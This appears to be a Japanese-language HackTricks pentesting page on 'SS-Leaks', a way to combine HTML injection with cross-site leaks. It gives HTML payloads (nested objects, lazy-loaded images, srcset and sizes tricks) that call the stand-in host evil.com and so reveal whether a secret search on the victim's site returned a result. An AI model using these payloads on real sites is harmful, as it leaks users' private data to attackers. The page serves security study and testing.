hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

8 KiB
Raw Blame History

SS-Leaks

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

これはdangling markupとXS-Leaksのミックスです。一方で、この脆弱性では、攻撃対象となるページと同じオリジンのページにHTMLJSではない注入することができます。他方で、HTMLを注入できるページそのものを直接攻撃するのではなく、別のページを攻撃します。

ネストされたオブジェクト

/api/v1/leaky?secret=aエンドポイントが404ステータスコードを返す場合、内部のobjectがロードされ、https://evil.com?callback=aにコールバックが行われ、検索クエリaが結果を返さなかったことがわかります。

<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>

レイジーローディング

もしCSPが外部オブジェクトをブロックした場合はどうなるでしょうか次のCSPを試してみましょう

Content-Security-Policy: default-src 'self'; img-src *;

先ほどのコールバックobjectはもはや機能しません。その代わりに、画像のレイジーローディングを使用することができます!次の画像は、表示されており、ビューポートから一定の距離内にある場合にのみロードされます。

<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>

レスポンシブ画像

上記のテクニックは素晴らしいですが、HTMLのインジェクションがユーザーのビューポート内にあることを前提としています。

もしインジェクションが画面外にあり、ユーザーがスクロールしない場合でも、データを漏洩させることはできますか? もちろん、要素のIDとscroll-to-text-fragmentを使用して、スクロールを強制するURLを作成することはできますが、これらはユーザーの操作に依存しており、実世界のシナリオで一貫した漏洩を実現することはできません。理想的には、保存されたHTMLインジェクションを信頼性のある方法で武器化したいのです。

それがレスポンシブ画像です!具体的には、画像のsrcsetsizes属性です。

{% code overflow="wrap" %}

<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>

{% endcode %}

ここで解説するべきことがいくつかあります。まず、リークするエンドポイントが404ステータスコードを返す場合にのみ、内部のiframeが表示されることを覚えておいてください。

これは重要です。なぜなら、今度は条件付きでiframe内の画像を2つの異なるURLから読み込むようにします。sizes属性を使用して、ビューポートのサイズに応じてどのURLから画像を読み込むかを選択するために、メディアクエリを使用できます。

{% code overflow="wrap" %}

<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}

私たちのiframeには width="1000px" があるため、次のことが起こります:

  1. もしリークするエンドポイントが404ステータスコードを返す場合、iframeが表示され、幅が1000pxになります。iframe内の画像は (min-width: 1000px) メディアクエリに一致し、https://evil.com?callback=0 から800pxの画像を読み込みます。
  2. もしリークするエンドポイントが200ステータスコードを返す場合、iframeは表示されません。画像は大きなiframeの一部としてレンダリングされていないため、(max-width 999px) メディアクエリに一致し、https://evil.com?callback=1 から480pxの画像を読み込みます。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥